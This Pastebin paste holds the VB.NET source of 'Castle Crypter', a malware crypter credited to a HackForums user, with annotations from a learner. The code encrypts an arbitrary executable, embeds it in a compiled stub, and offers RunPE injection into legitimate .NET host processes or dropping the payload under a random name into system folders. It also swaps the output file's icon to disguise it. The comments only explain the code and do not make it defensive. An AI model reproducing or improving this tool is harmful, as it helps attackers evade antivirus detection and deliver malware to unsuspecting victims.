Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Text
- Imports Castle_Crypter.clsCodeDom
- '// Coded by Angelic Wings - http://www.hackforums.net/member.php?action=profile&uid=1428304
- '(^) Thanks for this, I've commented a lot of this out for learning purposes and
- '(^) have left a few questions for you about certain peices of code.
- '(^) -The Shop
- Public Module Strings 'Why put these in their own module? Doc for modules: http://msdn.microsoft.com/en-us/library/aaxss7da.aspx#feedback
- Public IconPath As String = String.Empty 'path of icon for crypted file
- Public RandomKey As String = Form1.RA(256) 'creates random 256 char length string. Because it's not part of the Form1 class the RA function has to be called this way
- Public FinalKey As Byte() = Encoding.UTF8.GetBytes(RandomKey) 'Converts RandomKey to a byte array and encrypts it using UTF8
- End Module
- Public Class Form1
- Sub New()
- InitializeComponent() 'for loading the gui?: http://msdn.microsoft.com/en-us/library/system.windows.markup.icomponentconnector.initializecomponent.aspx
- NsComboBox1.SelectedItem = NsComboBox1.Items(0) 'when you pick an item from dropdown it shows up
- End Sub
- #Region "Functions" 'holds random string function and encryption function
- 'Random Chars
- Public Function RA(ByVal Lenght As Integer, Optional ByVal CustomCharacters As String = "QWERTYUIOPASDFGHJKKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789") As String 'function can be used by entire solution. spelled "length" wrong but it's okay I fuck up too with spelling ;)
- Randomize() 'initialize the random # gen: http://msdn.microsoft.com/en-us/library/8zedbtdt(v=vs.90).aspx
- Dim NSB As New StringBuilder() 'what will hold the random string
- With NSB 'make using methods on it look more 1337
- For i As Integer = 1 To Lenght 'from 1 to the specified "length"
- Randomize() 'initialize the random # gen (again). Is it necessary to do this twice?
- Dim z As Integer = Int(((CustomCharacters.ToCharArray.Length - 2) - 0 + 1) * Rnd()) + 1
- '(^) Not sure why but you basically did the length of the array -2 but then added 0(useless) and added 1 to make it the length of the array -1.
- '(^) This basically chooses a number between the length and 1 and assigns it to z.
- .Append(CustomCharacters(z)) 'now we use z as an index in customchars and append the value to NSB
- Next 'will continue doing above till "length" is met
- Return .ToString 'function returns NSB
- End With 'no more 1337ness with using methods for NSB
- End Function
- Public Shared Function Crypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() 'Can be used by entire solution. Guessing by the name this is used to encrypt and returns a byte array
- For i As Integer = 0 To (Data.Length * 2) + key.Length 'working from 0 to length of data bytes * 2 + length of key bytes (which is probably from the RA func)
- Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor key(i Mod key.Length)
- '(^) Just goin over what the operators do..the mod will give you the remainder of the 1st # divided by the 2nd. And Xor still confuses me but here's the documentation: http://msdn.microsoft.com/en-us/library/csw1x2a6(v=vs.80).aspx
- '(^) inside that it's adding Data with the index of the remainder of i / data.length to the remainder of data with index of i+1 divided by data's length.
- '(^) then it get's converted to a CInt first then divided by 256 and the remainder is taken then converted to a CByte (byte subtype). from the subtype it get's Xor'ed by the key input with the index of the remainder of i / key.length
- '(^) Basically this is just a confusing encryption algorithm, right?
- Next 'end encryption
- Return Data 'function returns encrypted data (bytes)
- End Function
- #End Region 'holds random string function and encryption function
- #Region "Handlers" 'pretty much hooking existing vb controls to the custom made ones
- '(start point) code for when the radio button changes the combobox items change
- Private Sub RadioButton_CheckedChanged(ByVal sender As Object) Handles NsRadioButton1.CheckedChanged, NsRadioButton2.CheckedChanged
- If sender.Equals(NsRadioButton1) Then
- If NsRadioButton1.Checked = True Then
- NsComboBox1.Items.Clear()
- Dim dsads As String() = {"AppLaunch.exe ", "Cvtres.exe ", "Vbc.exe ", "Csc.exe"}
- For Each value As String In dsads
- NsComboBox1.Items.Add(value)
- Next
- NsComboBox1.SelectedItem = NsComboBox1.Items(0)
- End If
- ElseIf sender.Equals(NsRadioButton2) Then
- If NsRadioButton2.Checked = True Then
- NsComboBox1.Items.Clear()
- Dim strarray As String() = {"Temp", "AppData", "AppData Local", "My Documents", "Desktop", "Program Files", "WinDir"}
- For Each value As String In strarray
- NsComboBox1.Items.Add(value)
- Next
- NsComboBox1.SelectedItem = NsComboBox1.Items(0)
- End If
- End If
- End Sub
- '(end point) code for when the radio button changes the combobox items change
- Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs) Handles PictureBox1.DoubleClick 'when you double click it resets to nothing
- PictureBox1.BackgroundImage = Nothing
- IconPath = Nothing
- End Sub
- #End Region 'pretty much hooking existing vb controls to the custom made ones
- Private Sub SelectInput_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SelectInput.Click '"Browse" button click
- Using ofd As New OpenFileDialog 'using dialog for choosing file under name of ofd
- ofd.Filter = "Executables *.exe|*.exe" '.exe filter
- If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then 'if the file is good then...
- FilePathTxt.Text = ofd.FileName 'set the textbox (next to the "Browse" button) = to the filepath
- End If
- End Using
- End Sub
- Private Sub SelectIcon_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SelectIcon.Click '"..." button click
- Dim o As New OpenFileDialog 'using dialog for choosing icon
- With o
- .DefaultExt = "ico" 'start off lookin for .ico
- .Filter = "Icon Files *.ico | *.ico" '.ico filter
- If .ShowDialog = Windows.Forms.DialogResult.OK Then 'if the icon is good then
- PictureBox1.BackgroundImage = System.Drawing.Icon.ExtractAssociatedIcon(.FileName).ToBitmap 'set the picbox's image = icon converted to a bitmap
- IconPath = .FileName 'set iconpath = the selected icon's filepath
- End If
- End With
- End Sub
- Private Sub CryptBtn_Click(ByVal sender As Object, ByVal e As EventArgs) Handles CryptBtn.Click '"Crypt" button click
- If IO.File.Exists(FilePathTxt.Text) = False Then 'if you haven't selected a file yet then
- MsgBox("Select A File", MsgBoxStyle.Information) 'show message that user is dumb for not picking a file and trying to crypt
- Exit Sub 'self explanatory
- End If
- Using sfd As New SaveFileDialog 'used for saving crypted file
- With sfd 'make using methods look cooler (1337) and easier to use
- If .ShowDialog = Windows.Forms.DialogResult.OK Then 'if the saved file is okay then
- .DefaultExt = "exe" 'save as .exe to begin with
- .Filter = "Executable Files (*.exe)|*.exe" 'can only save as .exe
- Dim src As String = String.Empty 'holds stub's source code
- If NsRadioButton1.Checked = True Then 'if "RunPE" is checked then
- If NsRadioButton2.Checked = False Then 'if "Drop" is not checked then
- src = My.Resources.Stub 'src = text from Stub.txt
- '(start code) replaces the default ("\vbc.exe") with whatever the selected option is (if different)
- If NsComboBox1.SelectedItem = NsComboBox1.Items(0) Then
- src = src.Replace("\vbc.exe", "\AppLaunch.exe")
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(1) Then
- src = src.Replace("\vbc.exe", "\cvtres.exe")
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(2) Then
- '
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(3) Then
- src = src.Replace("\vbc.exe", "\csc.exe")
- End If
- '(end code) replaces the default ("\vbc.exe") with whatever the selected option is (if different)
- End If
- Else
- If NsRadioButton2.Checked = True Then 'if "Drop" is checked then
- If NsRadioButton1.Checked = False Then 'if "RunPE" is not checked then
- src = My.Resources.Stub_2 'src = text from Stub 2.txt
- src = src.Replace("c.exe", RA(20) & ".exe") 'create random 20char name for dropped file
- '(start code) replaces the stub path with whatever the selected path is
- If NsComboBox1.SelectedItem = NsComboBox1.Items(0) Then
- 'Temp
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(1) Then
- src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "appdata" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
- 'AppData
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(2) Then
- src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "LocalAppdata" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
- 'Appdata Local
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(3) Then
- src = src.Replace("IO.Path.GetTempPath", "Environment.GetFolderPath(Environment.SpecialFolder.Personal) & \")
- 'My Documents
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(4) Then
- src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "desktop" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
- 'Desktop
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(5) Then
- src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "PROGRAMFILES" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
- 'Program Files
- ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(6) Then
- src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "windir" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
- 'Windir
- End If
- '(end code) replaces the stub path with whatever the selected path is
- End If
- End If
- End If
- src = src.Replace("Encryption-Key", RandomKey) 'stub's encryption key gets replaced with RandomKey
- Dim storage As Byte() = Crypt(My.Computer.FileSystem.ReadAllBytes(FilePathTxt.Text), FinalKey) 'storage holds the encrypted bytes returned from the Crypt function
- Dim w As New Resources.ResourceWriter(Application.StartupPath & "\X.resources") 'Creates new resource writer and a temp x.resources file: http://msdn.microsoft.com/en-us/library/system.resources.resourcewriter.aspx
- w.AddResource("M", storage) 'plants the encrypted bytes in a resource in the new file called "M"
- w.Close()
- Compile(.FileName, src) 'func can be found in clsCodeDom.vb. Was this done to disguise the codedom import?
- If IO.File.Exists(IconPath) Then 'if IconPath is set to an icon then
- IconChanger.InjectIcon(.FileName, IconPath) 'This function is found in IconChanger.vb and changes the icon of the crypted file
- End If
- IO.File.Delete(Application.StartupPath & "\X.resources") 'delete the create x.resources file
- MsgBox("The file successfuly encrypted. " & vbNewLine & "This crypter has been coded by Angelic Wings.", MsgBoxStyle.Information) 'gratz
- End If
- End With 'end sfd with statement
- End Using
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement